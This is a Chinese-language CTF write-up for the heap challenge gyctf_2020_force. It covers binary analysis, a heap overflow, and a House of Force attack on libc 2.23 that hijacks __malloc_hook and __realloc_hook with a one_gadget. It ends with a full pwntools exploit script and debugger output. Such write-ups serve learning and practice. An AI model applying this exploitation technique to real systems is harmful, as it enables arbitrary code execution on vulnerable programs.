gyctf_2020_force
1 2 3
| ➜ [/home/ywhkkx/桌面] ./gyctf_2020_force 1:add 2:puts
|
1 2 3 4 5 6 7 8
| gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped [*] '/home/ywhkkx/桌面/gyctf_2020_force' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
64位,dynamically,全开
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __fastcall __noreturn main(int a1, char **a2, char **a3) { __int64 choice; char s[256]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); memset(s, 255, sizeof(s)); while ( 1 ) { memset(s, 255, sizeof(s)); puts("1:add"); puts("2:puts"); read(0, data, 0xFuLL); choice = atol(data); if ( choice == 1 ) { add(); } else if ( choice == 2 ) { puts_s(); } } }
|
标准堆模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| unsigned __int64 add() { const void **i; __int64 size; char s[256]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); memset(s, 255, sizeof(s)); for ( i = (const void **)&chunk_list; *i; ++i ) ; if ( (char *)i - (char *)&chunk_list > 39 ) exit(0); puts("size"); read(0, data, 0xFuLL); size = atol(data); *i = malloc(size); if ( !*i ) exit(0); printf("bin addr %p\n", *i); puts("content"); read(0, (void *)*i, 0x50uLL); puts("done"); return __readfsqword(0x28u) ^ v4; }
|
有一个溢出,输入“size”,读入“0x50”字节
1 2 3 4 5 6 7 8
| unsigned __int64 puts_s() { unsigned __int64 carnay;
carnay = __readfsqword(0x28u); puts(&leak); return __readfsqword(0x28u) ^ carnay; }
|
只能利用这个函数打 leak
入侵思路
先利用 mmap 获取 libc_base:
1 2 3 4
| chunk1=add(0x200000,'here') libc_base=chunk1+0x200ff0 success('chunk1 >> '+hex(chunk1)) success('libc_base >> '+hex(libc_base))
|
修改“topchunk->size”为“0xffffffffffffffff”:
1 2 3
| chunk2=add(0x20,'a'*40+p64(0xffffffffffffffff)) topchunk_addr=0x55e87208e290+48 success('topchunk_addr >> '+hex(topchunk_addr))
|
1 2 3
| Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA Addr: 0x55e87208e2c0 Size: 0xffffffffffffffff
|
计算 offset 分割 top chunk:
1 2 3 4
| offset=malloc_hook-(topchunk_addr+0x10)-0x20 add(offset, 'kkk\n') magic_addr=add(0x40, 'yhellow\n') success('magic_addr >> '+hex(magic_addr))
|
1 2 3 4 5 6 7 8
| [+] magic_addr >> 0x7f33a5420b00
pwndbg> telescope 0x7f33a5420b00 00:0000│ 0x7f33a5420b00 (__memalign_hook) ◂— 0xa776f6c6c656879 ('yhellow\n') 01:0008│ 0x7f33a5420b08 (__realloc_hook) —▸ 0x7f33a50e1a70 (realloc_hook_ini) ◂— push r15 02:0010│ 0x7f33a5420b10 (__malloc_hook) ◂— 0x0 03:0018│ 0x7f33a5420b18 ◂— 0x0 04:0020│ 0x7f33a5420b20 (main_arena) ◂— 0x100000000
|
注意:采用“offset=malloc_hook-(topchunk_addr+0x10)”(以前总结的规律),就会申请到“main_arena”,和预期“__malloc_hook”差了 0x10 字节,推测可能是那 1字节 的误差搞得鬼(也是以前总结的规律),这 1字节 导致 0x10字节 对齐的程序“进位”了(当然有时不会有反应)
我们需要劫持“realloc_hook”为“one_gadget”,劫持“malloc_hook”为“realloc_hook+0x10”,所以只要在原来 offset 的基础上减 0x20 就好了:
1 2 3 4
| offset=malloc_hook-(topchunk_addr+0x10)-0x20 add(offset, 'kkk\n') magic_addr=add(0x40, 'a'*8+p64(one_gadget_libc)+p64(realloc+0x10)) success('magic_addr >> '+hex(magic_addr))
|
1 2 3 4 5 6
| pwndbg> telescope 0x7f4aa6c3ab00 00:0000│ 0x7f4aa6c3ab00 (__memalign_hook) ◂— 0x6161616161616161 ('aaaaaaaa') 01:0008│ 0x7f4aa6c3ab08 (__realloc_hook) —▸ 0x7f4aa68bb27a (do_system+1098) ◂— mov rax, qword ptr [rip + 0x37ec37] 02:0010│ 0x7f4aa6c3ab10 (__malloc_hook) —▸ 0x7f4aa68fa720 (realloc+16) ◂— sub rsp, 0x38 03:0018│ 0x7f4aa6c3ab18 ◂— 0x0 04:0020│ 0x7f4aa6c3ab20 (main_arena) ◂— 0x100000000
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import*
p=process('./gyctf_2020_force') elf=ELF('./gyctf_2020_force') libc = ELF('./libc-2.23.so')
def add(size,content): p.sendline(str(1)) p.sendlineafter('size\n',str(size)) p.recvuntil('bin addr ') heap_addr=eval(p.recvuntil('\n')[:-1]) success('heap_add >> '+hex(heap_addr)) p.sendafter('content\n',content) return heap_addr def put(): p.sendline(str(2))
onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
leak_offset=0xD93 chunk1=add(0x200000,'here') libc_base=chunk1+0x200ff0 success('chunk1 >> '+hex(chunk1)) success('libc_base >> '+hex(libc_base))
chunk2=add(0x20,'a'*40+p64(0xffffffffffffffff)) topchunk_addr=chunk2+32 success('topchunk_addr >> '+hex(topchunk_addr))
malloc_hook=libc.sym['__malloc_hook']+libc_base realloc=libc.sym["__libc_realloc"]+libc_base one_gadget_libc=onegadget[1]+libc_base success('malloc_hook >> '+hex(malloc_hook)) success('one_gadget_libc >> '+hex(one_gadget_libc))
offset=malloc_hook-(topchunk_addr+0x10)-0x20 add(offset, 'kkk\n') magic_addr=add(0x40, 'a'*8+p64(one_gadget_libc)+p64(realloc+0x10)) success('magic_addr >> '+hex(magic_addr))
p.recvuntil("2:puts\n") p.sendline('1') p.recvuntil("size\n") p.sendline(str(20))
p.interactive()
|
house of force 小结(2.23-64位)
通过本题目,我对 offset 的计算有了更深刻的理解,即使有时候 offse 有偏差也可以进行修正了
另外,我对 malloc_hook 的打法也有了新的认识:先劫持“realloc_hook”为“one_gadget”,后劫持“malloc_hook”为“realloc_hook+0x10”(不能直接劫持“malloc_hook”,目前不知道原因)
最后尝试了用 libc-2.27 来打 house of force,打不通,分析源码发现通不过检查(几乎打死了 house of force),得出结论:house of force 只能在 libc-2.23 中打(如果以后发现有大神可以绕过检查的话,就回来补充)